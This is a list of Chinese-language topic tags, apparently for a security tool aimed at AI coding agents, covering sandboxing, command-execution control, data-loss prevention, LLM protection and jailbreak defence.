标签：AI 安全, Claude Code, Cursor, DLP, EVTX分析, EVTX分析, Go, JSONLines, LLM 防护, Python脚本, Ruby工具, Shell 访问, Streamlit, StruQ, 命令执行控制, 大模型安全, 开源, 敏感数据保护, 日志审计, 权限管理, 模型越狱, 沙箱, 策略引擎, 终端安全, 结构化查询, 网络安全, 网络安全审计, 网络安全挑战, 自动化安全, 访问控制, 防火墙, 隐私保护, 零信任